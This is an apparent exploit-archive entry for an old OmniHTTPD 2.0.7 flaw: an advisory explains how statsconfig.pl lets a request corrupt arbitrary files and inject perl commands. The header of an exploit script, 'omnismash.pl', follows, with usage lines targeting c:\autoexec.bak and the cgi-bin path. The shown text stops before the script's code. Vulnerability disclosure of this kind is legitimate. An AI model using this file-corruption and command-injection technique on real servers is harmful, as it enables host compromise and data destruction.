Description

Omnicron OmniHTTPD 2.0.7 File Corruption and Command Execution Vulnerability. CVE-2001-0113,CVE-2001-0114. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/2211/info

OmniHTTPD is a compact Windows based web server by Omnicron Technologies. OmniHTTPD has various features including multiple domain support, keep-alive connections, supports virtual IP and non-IP servers and standard CGI support.

Due to the implementation of 'statsconfig.pl' multiple vulnerabilities exist in OmniHTTPD. It is possible to corrupt various known filenames and execute arbitrary commands. By appending a known filename to the 'cgidir' form variable accompanied with a null argument, the known filename will be corrupt. In addition, it is possible to execute commands on the target server. This is due to statsconfig.pl creating a perl script on the file. When the perl script is created, user supplied data (the mostbrowsers form variable if it is present) is written directly to the perl script file. If an attacker sets this value to semi-colon separated perl commands, they will be executed when statsconfig runs the script. This can result in an attacker gaining interactive access on the victim host with the privilege level of the webserver/cgi process.

Successful exploitation of this vulnerability could lead to complete comprimise of the host or denial of service.

# This program exploits two holes in                 #
# 'statsconfig.pl', a cgi script which is installed  #
# by default by OmniHTTPd v2.07 (and possibly older  #
# versions).                                         #
#                                                    #
# 1.)  Any file on the system may be corrupted,      #
# including those on drives the server does not      #
# reside on.                                         #
#                                                    #
#                                                    #
#   Example:                                         #
#                                                    #
#     perl omnismash.pl localhost 80 -corrupt        #
#                c:\autoexec.bak                     #
#                                                    #
#                                                    #
# 2.)  Code can be injected into                     #
# '/cgi-bin/stats.pl'.  The absolute path to the     #
# the 'cgi-bin' must already be known.               #
#                                                    #
#                                                    #
#   Example:                                         #
#                                                    #
#     perl omnismash.pl localhost 80 -inject         #
#               c:/httpd/cgi-bin                     #
#                                                    #
# This exploit is set to insert a bare 'open()' call #
# to allow command execution like so:                #
#                                                    #
